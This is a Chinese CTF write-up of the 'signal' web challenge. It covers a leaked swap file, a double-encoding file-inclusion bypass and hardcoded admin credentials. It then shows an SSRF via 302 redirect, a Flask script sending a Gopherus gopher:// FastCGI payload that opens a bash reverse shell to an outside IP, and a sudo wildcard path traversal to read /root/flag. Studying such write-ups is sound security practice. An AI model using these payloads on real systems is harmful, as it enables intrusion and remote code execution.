国城杯复现 signal 提示:cgi
显示一个登录框,还是信息搜集
用dirsearch搜索到index.php.swp:
获取这个拿到信息:
登录:
可以目录穿越读flag,但是是假的
开始尝试包含文件,发现包含admin.php文件会直接跳转回index.php页面,说明php代码是被解析了 的,所以可以知道后端就是Include函数来包含的,因为这里解析了php代码,所以现在就是看如何进行 文件包含,并且是需要将其编码输出才能成功文件包含读取代码。
其实这里是有几个非预期的,比如fileter chian、侧信道读取文件等,然后设置为只能get传参,禁了很 多filter chain需要用的过滤器的部分的字符,想着fuzz都很难fuzz出来,所以也是打不了的(想着可以 报419的错误),这里为了禁这些非预期是下了狠手的,虽然只是一个简单的二次编码绕过的考点。所 以直接像下面这个这样传参即可(ps:还是没防住,忘了禁读guest.php了,导致明牌waf,被filter
chain非预期了):
二次编码绕过:
获得admin.php源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php session_start ();error_reporting (0 );if ($_SESSION ['logged_in' ] !== true || $_SESSION ['username' ] !== 'admin' ) { $_SESSION ['error' ] = 'Please fill in the username and password' ;header ("Location: index.php" );exit (); }$url = $_POST ['url' ]; $error_message = '' ; $page_content = '' ;if (isset ($url )) {if (!preg_match ('/^https:\/\//' , $url )) {$error_message = 'Invalid URL, only https allowed' ; } else {$ch = curl_init ();curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, 1 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $page_content = curl_exec ($ch );if ($page_content === false ) {$error_message = 'Failed to fetch the URL content' ; }curl_close ($ch ); }} ?>
发现:
1 curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, 1 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );
发现是允许跟随302跳转的,并且是接受POST传参url的,但是是加了session验证的,所以是需要知道 怎么登陆进这个admin页面的,所以现在是需要找在哪里可以得到admin的账户。继续信息收集,可以 在最开始的登录页面的源代码中看到如下代码:
这还有个php,读一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php session_start ();$users = ['admin' => 'FetxRuFebAdm4nHace' ,'guest' => 'MyF3iend' ];if (isset ($_POST ['username' ]) && isset ($_POST ['password' ])) {$username = $_POST ['username' ]; $password = $_POST ['password' ];if (isset ($users [$username ]) && $users [$username ] === $password ) { $_SESSION ['logged_in' ] = true ;$_SESSION ['username' ] = $username ;if ($username === 'admin' ) {header ('Location: admin.php' );} else { header ('Location: guest.php' ); }exit (); } else {$_SESSION ['error' ] = 'Invalid username or password' ;header ('Location: index.php' ); exit ();} } else { $_SESSION ['error' ] = 'Please fill in the username and password' ; header ('Location: index.php' ); exit (); ?>
得到账号,登录admin
获得这个东西,可以进行ssrf,因为admin.php源码是说的可以进行302跳转的,我们可以进行ssrf302跳转,然而只能用https协议
就得用ngrok这个来将http转成https来进行绕过
ssrf:
通过用公网地址让靶机访问公网的服务器,然后公网机给一个127.0.0.1访问靶机的内容,这里可以用**Gopherus **来进行shell反弹(就是命令执行)
由于ngrok的特殊性,使得用于的公网机可以是自己的私网地址,我用的就是自己的kali
用gopherus来获得payload:
将其贴入
python脚本:
1 2 3 4 5 6 7 8 9 from flask import Flask, redirect app =Flask(__name__) @app.route('/') def indexRedirect(): redirectUrl ='gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH105%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00i%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/【IP】/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00' return redirect(redirectUrl) if __name__ == '__main__': app.run('0.0.0.0', port=8080, debug=True)
在kali里面运行python脚本:
再运行ngrok:
可以看见已经变成https的公网地址
直接放入admin.php中
1 https://6b43-111-22-76-69.ngrok-free.app
submit
谈到了:
但是cat 不了flag(没找到):
寻找所有带有flag名字的文件
找到这个flag:
再次提示不是这个flag
还没有权限
因为此处无密码sudo的cat可读路径用了*进行通配,所以可以尝试目录穿越,如下读取flag即可:
1 sudo cat /tmp/whereflag/../../../root/flag
最后获取flag:
爽啦!(终于复现了一道难的题目,555)
Author:
odiws
Permalink:
http://odiws.github.io/2024/12/10/%E5%9B%BD%E5%9F%8E%E6%9D%AF/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY ?